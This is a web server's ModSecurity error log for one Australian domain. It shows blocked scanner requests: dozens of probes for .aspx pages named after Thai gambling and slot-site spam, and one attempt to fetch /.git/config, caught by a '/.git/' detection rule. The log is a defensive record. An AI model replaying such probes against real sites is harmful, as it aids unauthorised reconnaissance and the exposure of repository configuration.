[Tue Jan 27 05:04:53.747879 2026] [:error] [pid 41780:tid 41786] [client 147.135.253.47:52958] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/789gbet.aspx"] [unique_id "aXfW9Vvu-XLQ0TaZ4FFaZgAAAQQ"]
[Tue Jan 27 05:04:56.198218 2026] [:error] [pid 7454:tid 7540] [client 147.135.253.47:52968] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aXfW-JltCoZEfMmfl8BOHQAAAJg"]
[Tue Jan 27 05:04:58.659675 2026] [:error] [pid 7453:tid 7498] [client 147.135.253.47:37610] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aXfW-hfsyA2ws_ADquiJIgAAAEk"]
[Tue Jan 27 05:05:01.068963 2026] [:error] [pid 7454:tid 7538] [client 147.135.253.47:37620] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/m88%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXfW_ZltCoZEfMmfl8BOKQAAAJY"]
[Tue Jan 27 05:05:03.492812 2026] [:error] [pid 7452:tid 7485] [client 147.135.253.47:37628] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/miami%20club%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXfW_2lXocEpHDB6FUZhfQAAABg"]
[Tue Jan 27 05:05:05.920714 2026] [:error] [pid 41780:tid 41790] [client 147.135.253.47:37642] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg168%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXfXAVvu-XLQ0TaZ4FFaaAAAAQg"]
[Tue Jan 27 05:05:08.597419 2026] [:error] [pid 7453:tid 7497] [client 147.135.253.47:47734] [client 147.135.253.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aXfXBBfsyA2ws_ADquiJMgAAAEg"]
[Tue Jan 27 05:36:51.125694 2026] [:error] [pid 7454:tid 7518] [client 95.111.225.234:54976] [client 95.111.225.234] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aXfec5ltCoZEfMmfl8BbKQAAAII"]
[Tue Jan 27 06:22:31.069729 2026] [:error] [pid 7454:tid 7524] [client 147.135.212.202:36302] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%B8%E0%B8%81%E0%B8%84%E0%B9%88%E0%B8%B2%E0%B8%A2%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXfpJ5ltCoZEfMmfl8BzIgAAAIg"]
[Tue Jan 27 06:22:33.881285 2026] [:error] [pid 7454:tid 7534] [client 147.135.212.202:59976] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%2088.aspx"] [unique_id "aXfpKZltCoZEfMmfl8BzJwAAAJI"]
[Tue Jan 27 06:22:36.549729 2026] [:error] [pid 7454:tid 7540] [client 147.135.212.202:56430] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B8%AA%E0%B8%9B%E0%B8%B4%E0%B8%99.aspx"] [unique_id "aXfpLJltCoZEfMmfl8BzLAAAAJg"]
[Tue Jan 27 06:22:39.284580 2026] [:error] [pid 7452:tid 7467] [client 147.135.212.202:56434] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%9599.aspx"] [unique_id "aXfpL2lXocEpHDB6FUZ5HgAAAAY"]
[Tue Jan 27 06:22:42.016405 2026] [:error] [pid 41780:tid 41801] [client 147.135.212.202:56450] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99.aspx"] [unique_id "aXfpMlvu-XLQ0TaZ4FFutQAAARM"]
[Tue Jan 27 06:22:44.804854 2026] [:error] [pid 7453:tid 7511] [client 147.135.212.202:56460] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99pg.aspx"] [unique_id "aXfpNBfsyA2ws_ADquieRQAAAFY"]
[Tue Jan 27 06:22:47.432319 2026] [:error] [pid 7561:tid 7576] [client 147.135.212.202:44548] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99pp.aspx"] [unique_id "aXfpN7XGI6mgvHQqkXweDAAAAMw"]
[Tue Jan 27 06:22:50.082038 2026] [:error] [pid 7453:tid 7489] [client 147.135.212.202:44554] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20789.aspx"] [unique_id "aXfpOhfsyA2ws_ADquieTAAAAEA"]
[Tue Jan 27 06:22:52.584876 2026] [:error] [pid 7452:tid 7468] [client 147.135.212.202:44558] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%20ufabet%20%E0%B8%A1%E0%B8%B7%E0%B8%AD%E0%B8%96%E0%B8%B7%E0%B8%AD.aspx"] [unique_id "aXfpPGlXocEpHDB6FUZ5MAAAAAc"]
[Tue Jan 27 06:22:55.186540 2026] [:error] [pid 7561:tid 7565] [client 147.135.212.202:44574] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20xo.aspx"] [unique_id "aXfpP7XGI6mgvHQqkXweHgAAAME"]
[Tue Jan 27 06:22:57.831374 2026] [:error] [pid 7454:tid 7525] [client 147.135.212.202:53032] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95333.aspx"] [unique_id "aXfpQZltCoZEfMmfl8BzNwAAAIk"]
[Tue Jan 27 06:23:00.338885 2026] [:error] [pid 7454:tid 7517] [client 147.135.212.202:53046] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B9%82%E0%B8%9A%E0%B9%80%E0%B8%9A%E0%B9%87%E0%B8%95.aspx"] [unique_id "aXfpRJltCoZEfMmfl8BzOQAAAIE"]
[Tue Jan 27 06:23:02.972079 2026] [:error] [pid 7454:tid 7532] [client 147.135.212.202:53054] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B9%82%E0%B8%9A.aspx"] [unique_id "aXfpRpltCoZEfMmfl8BzPAAAAJA"]
[Tue Jan 27 06:23:05.622142 2026] [:error] [pid 7561:tid 7568] [client 147.135.212.202:53056] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%20slotxo.aspx"] [unique_id "aXfpSbXGI6mgvHQqkXweJgAAAMQ"]
[Tue Jan 27 06:23:08.210033 2026] [:error] [pid 41780:tid 41803] [client 147.135.212.202:44154] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2joker123%20auto%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXfpTFvu-XLQ0TaZ4FFuyAAAARU"]
[Tue Jan 27 06:23:10.927665 2026] [:error] [pid 7561:tid 7574] [client 147.135.212.202:44164] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%9A%E0%B8%B2%20%E0%B8%84%E0%B8%B2.aspx"] [unique_id "aXfpTrXGI6mgvHQqkXweQQAAAMo"]
[Tue Jan 27 06:23:13.435124 2026] [:error] [pid 7454:tid 7538] [client 147.135.212.202:44172] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2%E0%B8%AD%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%A5%E0%B8%99%E0%B9%8C.aspx"] [unique_id "aXfpUZltCoZEfMmfl8BzZQAAAJY"]
[Tue Jan 27 06:23:16.020860 2026] [:error] [pid 41780:tid 41794] [client 147.135.212.202:39224] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%9B%E0%B8%B1%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B9%84%E0%B8%AB%E0%B8%99%E0%B8%94%E0%B8%B5.aspx"] [unique_id "aXfpVFvu-XLQ0TaZ4FFu-AAAAQw"]
[Tue Jan 27 06:23:18.654445 2026] [:error] [pid 7452:tid 7470] [client 147.135.212.202:39238] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%9D%E0%B8%B2%E0%B8%81%201%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%2020%20%E0%B8%97%E0%B8%B3%20100%20%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%94%E0%B9%89%2050.aspx"] [unique_id "aXfpVmlXocEpHDB6FUZ5awAAAAk"]
[Tue Jan 27 06:23:21.089381 2026] [:error] [pid 7452:tid 7466] [client 147.135.212.202:39254] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%9D%E0%B8%B2%E0%B8%81%2010%20%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%97%E0%B9%8D%E0%B8%B2%20%E0%B8%A2%E0%B8%AD%E0%B8%94%20300%20%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%94%E0%B9%89%20100.aspx"] [unique_id "aXfpWWlXocEpHDB6FUZ5bgAAAAU"]
[Tue Jan 27 06:23:23.814128 2026] [:error] [pid 7453:tid 7495] [client 147.135.212.202:39256] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%9D%E0%B8%B2%E0%B8%81%2010%20%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXfpWxfsyA2ws_ADquiedgAAAEY"]
[Tue Jan 27 06:23:26.330501 2026] [:error] [pid 7454:tid 7523] [client 147.135.212.202:40646] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100.aspx"] [unique_id "aXfpXpltCoZEfMmfl8BzeQAAAIc"]
[Tue Jan 27 06:23:47.544450 2026] [:error] [pid 41780:tid 41794] [client 147.135.212.202:40650] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050%20%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%94%E0%B9%89%20300.aspx"] [unique_id "aXfpc1vu-XLQ0TaZ4FFvJQAAAQw"]
[Tue Jan 27 06:23:49.982126 2026] [:error] [pid 7561:tid 7570] [client 147.135.212.202:36566] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B9%80%E0%B8%95%E0%B8%B4%E0%B8%A1%20true%20wallet%20%E0%B8%9D%E0%B8%B2%E0%B8%81-%E0%B8%96%E0%B8%AD%E0%B8%99%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%20%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%20%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2%202020.aspx"] [unique_id "aXfpdbXGI6mgvHQqkXwedgAAAMY"]
[Tue Jan 27 06:23:52.413178 2026] [:error] [pid 7561:tid 7578] [client 147.135.212.202:36576] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%A2%E0%B8%B8%E0%B9%82%E0%B8%A3%E0%B8%9B.aspx"] [unique_id "aXfpeLXGI6mgvHQqkXweeQAAAM4"]
[Tue Jan 27 06:23:54.803602 2026] [:error] [pid 7453:tid 7496] [client 147.135.212.202:36578] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B9%84%E0%B8%AB%E0%B8%99%E0%B8%94%E0%B8%B5%20%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%87%E0%B9%88%E0%B8%B2%E0%B8%A2.aspx"] [unique_id "aXfpehfsyA2ws_ADquielgAAAEc"]
[Tue Jan 27 06:23:57.342908 2026] [:error] [pid 7452:tid 7468] [client 147.135.212.202:55704] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B9%81%E0%B8%88%E0%B8%81%E0%B8%97%E0%B8%B8%E0%B8%99%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%20%E0%B9%80%E0%B8%87%E0%B8%B7%E0%B9%88%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%82.aspx"] [unique_id "aXfpfWlXocEpHDB6FUZ5lgAAAAc"]
[Tue Jan 27 06:23:59.884190 2026] [:error] [pid 7454:tid 7516] [client 147.135.212.202:55712] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20168%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXfpf5ltCoZEfMmfl8BzuQAAAIA"]
[Tue Jan 27 06:24:02.262349 2026] [:error] [pid 41780:tid 41796] [client 147.135.212.202:55718] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%201688%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXfpglvu-XLQ0TaZ4FFvNgAAAQ4"]
[Tue Jan 27 06:24:04.799170 2026] [:error] [pid 7561:tid 7588] [client 147.135.212.202:55722] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20777%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx"] [unique_id "aXfphLXGI6mgvHQqkXwehAAAANg"]
[Tue Jan 27 06:24:07.222122 2026] [:error] [pid 7454:tid 7531] [client 147.135.212.202:49018] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXfph5ltCoZEfMmfl8BzyAAAAI8"]
[Tue Jan 27 06:24:09.743821 2026] [:error] [pid 41780:tid 41804] [client 147.135.212.202:49028] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B9%80%E0%B8%9A%20%E0%B8%97%20365.aspx"] [unique_id "aXfpiVvu-XLQ0TaZ4FFvPgAAARY"]
